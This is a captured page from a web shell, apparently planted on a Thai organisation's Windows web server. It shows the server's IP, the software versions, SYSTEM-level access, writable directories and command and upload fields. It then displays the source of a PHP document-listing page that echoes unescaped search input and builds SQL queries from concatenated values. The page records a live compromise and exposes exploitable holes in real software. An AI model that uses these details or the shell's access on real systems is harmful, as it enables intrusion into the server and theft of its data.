403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2564/modules/tkk4-/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2564/modules/tkk4-/odsentgroup.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<?php
include 'includes/connect.php';

?>
<SCRIPT LANGUAGE='JAVASCRIPT' TYPE='TEXT/JAVASCRIPT'>
 <!--
var win=null;
function NewWindow(mypage,myname,w,h,pos,infocus){
if(pos=="random"){myleft=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;mytop=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;}
if(pos=="center"){myleft=(screen.width)?(screen.width-w)/2:100;mytop=(screen.height)?(screen.height-h)/2:100;}
else if((pos!='center' && pos!="random") || pos==null){myleft=0;mytop=20}
settings="width=" + w + ",height=" + h + ",top=" + mytop + ",left=" + myleft + ",scrollbars=yes,location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no";win=window.open(mypage,myname,settings);
win.focus();}
// -->
</script>
<TABLE cellSpacing=0 cellPadding=0 valign="top"width=1005  height=400 border=0>
      <TBODY>
 <TR>
		<TD align="right">
<html>
<form name="form3" method="post" action="?name=tkk4&file=tabainsent">
  <table width=1000  border="0" align="right" cellpadding="0" cellspacing="0">
    <tr class="unnamed1">
		<td width="700" class="unnamed2"><div align="right"><img src="images/admin/search.jpg" alt="s" width="19" height="18"></div></td>
		<td width="100" class="unnamed2"><div align="left"><strong>ระบุเงื่อนไข</strong></div></td>
		<td width="100"><input name="search" type="text" id="search" value="<?=$_GET["search"];?>"></td>
      <td width="110"><div align="left"><input type="submit" name="Submit2" value="ค้นหา"></div></td>
    </tr>
  </table>
  </form>
		</TD>
		</TR>
          <TD vAlign=top>
		  <!-- tkk4 -->
				<TABLE width="100%" align=center cellSpacing=0 cellPadding=0 border=0>
<form action="?name=admin&file=tkk4&op=tkk4_del&action=multidel" name="myform" method="post">
 <table width="100%" cellspacing="2" cellpadding="1" >
  <tr bgcolor="#336633" height=25>
  <td  align=center width="30"><font color="#FFFFFF"><B>ที่ </B></font></td>
   <td  align=center width="130"><font color="#FFFFFF"><B>ที่ ศธ</B></font></td>
   <td  align=center width=""><font color="#FFFFFF"><B>เรื่อง</B></font></td>
    <td width="120" align=center ><font color="#FFFFFF"><B>ว/ด/ป/ที่ส่ง</B></font></td>
   <td width="150"  align=center ><font color="#FFFFFF"><B>ผู้ส่ง</B></font></td>
   <td width="150" align=center ><font color="#FFFFFF"><B>ถึง</B></font></td>
  </tr>  
 <?

//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
		$res[category] = $db->select_query("SELECT * FROM ".TB_WORKING_CAT." WHERE id='".$arr[user][working]."'  ");
		$arr[category] = $db->fetch($res[category]);
//แสดงบทความ
$limit = 1 ;
$SUMPAGE = $db->num_rows(TB_TKK4,"id","$SQLwhere kom ='".$arr[category][category_name]."' ");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;
$res[tkk4] = $db->select_query("SELECT * FROM ".TB_TKK4." $SQLwhere2  ORDER BY id DESC LIMIT $goto, $limit ");
$count=0;
while($arr[tkk4] = $db->fetch($res[tkk4]))
	{
	if ($count==0) { echo "<TR>"; }
if ($i%2==0) 
			{
				?><tr bgcolor="#C9FBC8"><?
			} else {
				?><tr bgcolor="#E6FE99" ><?
			} 
?>

    <td valign="top"align="center" >
  <IMG SRC="images/crut.jpg" width="15">
     </td> 
<td valign="top"align="center" >
  <?echo $arr[tkk4][tabain];?>
      </td> 
     <td valign="top"><a href="?name=tkk4&file=readtkk4_1&id=<?echo $arr[tkk4][id];?>" target="_blank"><font color="#000000"  face="MS Sans Serif, Tahoma, sans-serif"><?echo $arr[tkk4][topic];?></A></td>
	 </td> 
          <td valign="top"><CENTER>
<?echo ThaiTimeConvert($arr[tkk4][post_date],'','');?>
		  </CENTER></td>
	 <td valign="top"><CENTER><? echo $arr[tkk4][posted];?></CENTER></td>
  <td valign="top"><CENTER> 
  <? echo $arr[tkk4][group_ska];?>
  </td>

</TR>
	<?
$count++;
$i++;
if (($count%1) == 0) { echo ""; $count=0; }
}
$db->closedb ();
//จบการแสดงข่าวสาร
?> 		

		</td>
</tr>																																		
</table>
 </form>		

 <div align=right>
<?
				SplitPage($page,$totalpage,"?name=tkk4&file=odsentgroup&category=".$_GET[category]."");
				echo $ShowSumPages ;
				echo $ShowPages ;
?>
</div>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit